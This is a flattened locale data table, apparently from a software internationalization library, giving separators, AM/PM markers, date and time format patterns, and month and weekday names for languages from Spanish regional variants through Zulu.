E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Honduras - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE dd 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Mexico - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Nicaragua - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Panama - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - MM/dd/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Paraguay - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Peru - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - d/MM/yy - HH'H'mm''ss" v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - PuertoRico - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - MM/dd/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Spain - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - UnitedStates - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Uruguay - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Venezuela - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Swahili - Kenya - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januari;Februari;Machi;Aprili;Mei;Juni;Julai;Agosti;Septemba;Oktoba;Novemba;Desemba; - Jan;Feb;Mac;Apr;Mei;Jun;Jul;Ago;Sep;Okt;Nov;Des; - ;;;;;;;;;;;; - Jumapili;Jumatatu;Jumanne;Jumatano;Alhamisi;Ijumaa;Jumamosi; - Jpi;Jtt;Jnn;Jtn;Alh;Iju;Jmo; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Swahili - Tanzania - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januari;Februari;Machi;Aprili;Mei;Juni;Julai;Agosti;Septemba;Oktoba;Novemba;Desemba; - Jan;Feb;Mac;Apr;Mei;Jun;Jul;Ago;Sep;Okt;Nov;Des; - ;;;;;;;;;;;; - Jumapili;Jumatatu;Jumanne;Jumatano;Alhamisi;Ijumaa;Jumamosi; - Jpi;Jtt;Jnn;Jtn;Alh;Iju;Jmo; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Swedish - Finland - 44 - 160 - 59 - 37 - 48 - 8722 - 43 - 101 - fm - em - EEEE 'den' d MMMM yyyy - yyyy-MM-dd - 'kl'. HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januari;februari;mars;april;maj;juni;juli;augusti;september;oktober;november;december; - jan;feb;mar;apr;maj;jun;jul;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - söndag;måndag;tisdag;onsdag;torsdag;fredag;lördag; - sön;mån;tis;ons;tors;fre;lör; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;O;T;F;L; - - - Swedish - Sweden - 44 - 160 - 59 - 37 - 48 - 8722 - 43 - 101 - fm - em - EEEE 'den' d MMMM yyyy - yyyy-MM-dd - 'kl'. HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januari;februari;mars;april;maj;juni;juli;augusti;september;oktober;november;december; - jan;feb;mar;apr;maj;jun;jul;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - söndag;måndag;tisdag;onsdag;torsdag;fredag;lördag; - sön;mån;tis;ons;tors;fre;lör; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;O;T;F;L; - - - Tajik - Tajikistan - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Январ;Феврал;Март;Апрел;Май;Июн;Июл;Август;Сентябр;Октябр;Ноябр;Декабр; - Янв;Фев;Мар;Апр;Май;Июн;Июл;Авг;Сен;Окт;Ноя;Дек; - ;;;;;;;;;;;; - Якшанбе;Душанбе;Сешанбе;Чоршанбе;Панҷшанбе;Ҷумъа;Шанбе; - Яшб;Дшб;Сшб;Чшб;Пшб;Ҷмъ;Шнб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Tamil - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - காலை - மாலை - EEEE d MMMM yyyy - d-M-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - ஜனவரி;பிப்ரவரி;மார்ச்;ஏப்ரல்;மே;ஜூன்;ஜூலை;ஆகஸ்ட்;செப்டம்பர்;அக்டோபர்;நவம்பர்;டிசம்பர்; - ஜன.;பிப்.;மார்.;ஏப்.;மே;ஜூன்;ஜூலை;ஆக.;செப்.;அக்.;நவ.;டிச.; - ;;;;;;;;;;;; - ஞாயிறு;திங்கள்;செவ்வாய்;புதன்;வியாழன்;வெள்ளி;சனி; - ஞா;தி;செ;பு;வி;வெ;ச; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Tatar - RussianFederation - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - d MMMM yyyy - dd.MM.yyyy - h:mm:ss a v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Telugu - India - 46 - 44 - 59 - 37 - 3174 - 45 - 43 - 101 - పూర్వాహ్నం - అపరాహ్నం - EEEE d MMMM yyyy - dd-MM-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - జ;ఫి;మ;ఎ;మె;జు;జు;ఆ;సె;అ;న;డి; - జనవరి;ఫిబ్రవరి;మార్చి;ఏప్రిల్;మే;జూన్;జూలై;ఆగస్టు;సెప్టెంబర్;అక్టోబర్;నవంబర్;డిసెంబర్; - జనవరి;ఫిబ్రవరి;మార్చి;ఏప్రిల్;మే;జూన్;జూలై;ఆగస్టు;సెప్టెంబర్;అక్టోబర్;నవంబర్;డిసెంబర్; - ;;;;;;;;;;;; - ఆదివారం;సోమవారం;మంగళవారం;బుధవారం;గురువారం;శుక్రవారం;శనివారం; - ఆది;సోమ;మంగళ;బుధ;గురు;శుక్ర;శని; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ఆ;2;సొ;భు;గు;శు;శ; - - - Thai - Thailand - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - ก่อนเที่ยง - หลังเที่ยง - EEEEที่ d MMMM G yyyy - d/M/yyyy - H นาฬิกา m นาที ss วินาที v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ม.ค.;ก.พ.;มี.ค.;เม.ย.;พ.ค.;มิ.ย.;ก.ค.;ส.ค.;ก.ย.;ต.ค.;พ.ย.;ธ.ค.; - มกราคม;กุมภาพันธ์;มีนาคม;เมษายน;พฤษภาคม;มิถุนายน;กรกฎาคม;สิงหาคม;กันยายน;ตุลาคม;พฤศจิกายน;ธันวาคม; - ม.ค.;ก.พ.;มี.ค.;เม.ย.;พ.ค.;มิ.ย.;ก.ค.;ส.ค.;ก.ย.;ต.ค.;พ.ย.;ธ.ค.; - ;;;;;;;;;;;; - วันอาทิตย์;วันจันทร์;วันอังคาร;วันพุธ;วันพฤหัสบดี;วันศุกร์;วันเสาร์; - อา.;จ.;อ.;พ.;พฤ.;ศ.;ส.; - ;;;;พฤ;;; - ;;;;;;; - ;;;;;;; - อ;จ;อ;พ;พ;ศ;ส; - - - Tigrinya - Eritrea - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - ንጉሆ ሰዓተ - ድሕር ሰዓት - EEEE፡ dd MMMM መዓልቲ yyyy G - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ጃ;ፌ;ማ;ኤ;ሜ;ጁ;ጁ;ኦ;ሴ;ኦ;ኖ;ዲ; - ጥሪ;ለካቲት;መጋቢት;ሚያዝያ;ግንቦት;ሰነ;ሓምለ;ነሓሰ;መስከረም;ጥቅምቲ;ሕዳር;ታሕሳስ; - ጥሪ;ለካቲ;መጋቢ;ሚያዝ;ግንቦ;ሰነ;ሓምለ;ነሓሰ;መስከ;ጥቅም;ሕዳር;ታሕሳ; - ;;;;;;;;;;;; - ሰንበት;ሰኑይ;ሰሉስ;ረቡዕ;ሓሙስ;ዓርቢ;ቀዳም; - ሰንበ;ሰኑይ;ሰሉስ;ረቡዕ;ሓሙስ;ዓርቢ;ቀዳም; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ሰ;ሰ;ሠ;ረ;ኃ;ዓ;ቀ; - - - Tigrinya - Ethiopia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - ንጉሆ ሰዓተ - ድሕር ሰዓት - EEEE፣ dd MMMM መዓልቲ yyyy G - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ጃ;ፌ;ማ;ኤ;ሜ;ጁ;ጁ;ኦ;ሴ;ኦ;ኖ;ዲ; - ጃንዩወሪ;ፌብሩወሪ;ማርች;ኤፕረል;ሜይ;ጁን;ጁላይ;ኦገስት;ሴፕቴምበር;ኦክተውበር;ኖቬምበር;ዲሴምበር; - ጃንዩ;ፌብሩ;ማርች;ኤፕረ;ሜይ;ጁን;ጁላይ;ኦገስ;ሴፕቴ;ኦክተ;ኖቬም;ዲሴም; - ;;;;;;;;;;;; - ሰንበት;ሰኑይ;ሠሉስ;ረቡዕ;ኃሙስ;ዓርቢ;ቀዳም; - ሰንበ;ሰኑይ;ሠሉስ;ረቡዕ;ኃሙስ;ዓርቢ;ቀዳም; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ሰ;ሰ;ሠ;ረ;ኃ;ዓ;ቀ; - - - Tonga - Tonga - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE d MMMM yyyy - dd-MM-yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - S;F;M;E;M;S;S;A;S;O;N;T; - Sānuali;Fēpueli;Maʻasi;ʻEpeleli;Mē;Sune;Siulai;ʻAokosi;Sēpitema;ʻOkatopa;Nōvema;Tisema; - Sān;Fēp;Maʻa;ʻEpe;Mē;Sun;Siu;ʻAok;Sēp;ʻOka;Nōv;Tis; - ;;;;;;;;;;;; - Sāpate;Mōnite;Tusite;Pulelulu;Tuʻapulelulu;Falaite;Tokonaki; - Sāp;Mōn;Tus;Pul;Tuʻa;Fal;Tok; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;P;T;F;T; - - - Tsonga - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Sunguti;Nyenyenyani;Nyenyankulu;Dzivamisoko;Mudyaxihi;Khotavuxika;Mawuwani;Mhawuri;Ndzhati;Nhlangula;Hukuri;N'wendzamhala; - Sun;Yan;Kul;Dzi;Mud;Kho;Maw;Mha;Ndz;Nhl;Huk;N'w; - ;;;;;;;;;;;; - Sonto;Musumbhunuku;Ravumbirhi;Ravunharhu;Ravumune;Ravuntlhanu;Mugqivela; - Son;Mus;Bir;Har;Ne;Tlh;Mug; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Turkish - Turkey - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - dd MMMM yyyy EEEE - dd.MM.yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - O;Ş;M;N;M;H;T;A;E;E;K;A; - Ocak;Şubat;Mart;Nisan;Mayıs;Haziran;Temmuz;Ağustos;Eylül;Ekim;Kasım;Aralık; - Oca;Şub;Mar;Nis;May;Haz;Tem;Ağu;Eyl;Eki;Kas;Ara; - ;;;;;;;;;;;; - Pazar;Pazartesi;Salı;Çarşamba;Perşembe;Cuma;Cumartesi; - Paz;Pzt;Sal;Çar;Per;Cum;Cmt; - ;;;;;;; - ;;;;;;; - ;;;;;;; - P;P;S;Ç;P;C;C; - - - Uigur - China - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Ukrainian - Ukraine - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - дп - пп - EEEE, d MMMM yyyy 'р'. - dd.MM.yy - HH:mm:ss v - HH:mm - Січень;Лютий;Березень;Квітень;Травень;Червень;Липень;Серпень;Вересень;Жовтень;Листопад;Грудень; - Січ;Лют;Бер;Кві;Тра;Чер;Лип;Сер;Вер;Жов;Лис;Гру; - С;Л;Б;К;Т;Ч;Л;С;В;Ж;Л;Г; - січня;лютого;березня;квітня;травня;червня;липня;серпня;вересня;жовтня;листопада;грудня; - січ.;лют.;бер.;квіт.;трав.;черв.;лип.;серп.;вер.;жовт.;лист.;груд.; - ;;;;;;;;;;;; - Неділя;Понеділок;Вівторок;Середа;Четвер;Пʼятниця;Субота; - Нд;Пн;Вт;Ср;Чт;Пт;Сб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Н;П;В;С;Ч;П;С; - - - Urdu - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 1602 - - - EEEE, d, MMMM yyyy - d/M/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ج;ف;م;ا;م;ج;ج;ا;س;ا;ن;د; - جنوری;فروری;مار چ;اپريل;مئ;جون;جولائ;اگست;ستمبر;اکتوبر;نومبر;دسمبر; - ;;;;;;;;;;;; - ;;;;;;;;;;;; - اتوار;پير;منگل;بده;جمعرات;جمعہ;ہفتہ; - ;;;;;;; - ا;پ;م;ب;ج;ج;ہ; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Urdu - Pakistan - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 1602 - - - EEEE, d, MMMM yyyy - d/M/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ج;ف;م;ا;م;ج;ج;ا;س;ا;ن;د; - جنوری;فروری;مار چ;اپريل;مئ;جون;جولائ;اگست;ستمبر;اکتوبر;نومبر;دسمبر; - ;;;;;;;;;;;; - ;;;;;;;;;;;; - اتوار;پير;منگل;بده;جمعرات;جمعہ;ہفتہ; - ;;;;;;; - ا;پ;م;ب;ج;ج;ہ; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Uzbek - Afghanistan - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - Я;Ф;М;А;М;И;И;А;С;О;Н;Д; - Муҳаррам;Сафар;Рабиул-аввал;Рабиул-охир;Жумодиул-уло;Жумодиул-ухро;Ражаб;Шаъбон;Рамазон;Шаввол;Зил-қаъда;Зил-ҳижжа; - Янв;Фев;Мар;Апр;Май;Июн;Июл;Авг;Сен;Окт;Ноя;Дек; - ;;;;;;;;;;;; - якшанба;душанба;сешанба;чоршанба;пайшанба;жума;шанба; - Якш;Душ;Сеш;Чор;Пай;Жум;Шан; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Я;Д;С;Ч;П;Ж;Ш; - - - Uzbek - Uzbekistan - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - Я;Ф;М;А;М;И;И;А;С;О;Н;Д; - Муҳаррам;Сафар;Рабиул-аввал;Рабиул-охир;Жумодиул-уло;Жумодиул-ухро;Ражаб;Шаъбон;Рамазон;Шаввол;Зил-қаъда;Зил-ҳижжа; - Янв;Фев;Мар;Апр;Май;Июн;Июл;Авг;Сен;Окт;Ноя;Дек; - ;;;;;;;;;;;; - якшанба;душанба;сешанба;чоршанба;пайшанба;жума;шанба; - Якш;Душ;Сеш;Чор;Пай;Жум;Шан; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Я;Д;С;Ч;П;Ж;Ш; - - - Vietnamese - VietNam - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - SA - CH - EEEE, 'ngày' dd MMMM 'năm' yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - tháng một;tháng hai;tháng ba;tháng tư;tháng năm;tháng sáu;tháng bảy;tháng tám;tháng chín;tháng mười;tháng mười một;tháng mười hai; - thg 1;thg 2;thg 3;thg 4;thg 5;thg 6;thg 7;thg 8;thg 9;thg 10;thg 11;thg 12; - ;;;;;;;;;;;; - Chủ nhật;Thứ hai;Thứ ba;Thứ tư;Thứ năm;Thứ sáu;Thứ bảy; - CN;Th 2;Th 3;Th 4;Th 5;Th 6;Th 7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Welsh - UnitedKingdom - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, dd MMMM yyyy - dd/MM/yyyy - h:mm:ss a v - h:mm a - ;;;;;;Gorffennaf;;;;;; - ;Chwe;Maw;Ebr;;;Gor;;;;;; - I;C;M;E;M;M;G;A;M;H;T;R; - Ionawr;Chwefror;Mawrth;Ebrill;Mai;Mehefin;Gorffenaf;Awst;Medi;Hydref;Tachwedd;Rhagfyr; - Ion;Chwef;Mawrth;Ebrill;Mai;Meh;Gorff;Awst;Medi;Hyd;Tach;Rhag; - ;;;;;;;;;;;; - Dydd Sul;Dydd Llun;Dydd Mawrth;Dydd Mercher;Dydd Iau;Dydd Gwener;Dydd Sadwrn; - Sul;Llun;Maw;Mer;Iau;Gwen;Sad; - ;;;;;;; - ;;;;;;; - ;;;;;Gwe;; - S;L;M;M;I;G;S; - - - Wolof - Senegal - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Xhosa - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Janyuwari;Februwari;Matshi;Epreli;Meyi;Juni;Julayi;Agasti;Septemba;Okthoba;Novemba;Disemba; - Jan;Feb;Mat;Epr;Mey;Jun;Jul;Aga;Sep;Okt;Nov;Dis; - ;;;;;;;;;;;; - Cawe;Mvulo;Lwesibini;Lwesithathu;Lwesine;Lwesihlanu;Mgqibelo; - Caw;Mvu;Bin;Tha;Sin;Hla;Mgq; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Yoruba - Nigeria - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - àárọ̀ - ọ̀sán - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Oṣù Ṣẹ́rẹ́;Oṣù Èrèlè;Oṣù Ẹrẹ̀nà;Oṣù Ìgbé;Oṣù Ẹ̀bibi;Oṣù Òkúdu;Oṣù Agẹmọ;Oṣù Ògún;Oṣù Owewe;Oṣù Ọ̀wàrà;Oṣù Bélú;Oṣù Ọ̀pẹ̀; - Ṣẹ́rẹ́;Èrèlè;Ẹrẹ̀nà;Ìgbé;Ẹ̀bibi;Òkúdu;Agẹmọ;Ògún;Owewe;Ọ̀wàrà;Bélú;Ọ̀pẹ̀; - ;;;;;;;;;;;; - Ọjọ́ Àìkú;Ọjọ́ Ajé;Ọjọ́ Ìsẹ́gun;Ọjọ́rú;Ọjọ́ Àṣẹ̀ṣẹ̀dáiyé;Ọjọ́ Ẹtì;Ọjọ́ Àbámẹ́ta; - Àìkú;Ajé;Ìsẹ́gun;Ọjọ́rú;Àṣẹ̀ṣẹ̀dáiyé;Ẹtì;Àbámẹ́ta; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Zulu - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE dd MMMM yyyy - yyyy-MM-dd - h:mm:ss a v - h:mm a - uJanuwari;uFebruwari;uMashi;u-Apreli;uMeyi;uJuni;uJulayi;uAgasti;uSepthemba;u-Okthoba;uNovemba;uDisemba; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - Januwari;Februwari;Mashi;Apreli;Meyi;Juni;Julayi;Agasti;Septhemba;Okthoba;Novemba;Disemba; - Jan;Feb;Mas;Apr;Mey;Jun;Jul;Aga;Sep;Okt;Nov;Dis; - ;;;;;;;;;;;; - Sonto;Msombuluko;Lwesibili;Lwesithathu;uLwesine;Lwesihlanu;Mgqibelo; - Son;Mso;Bil;Tha;Sin;Hla;Mgq; 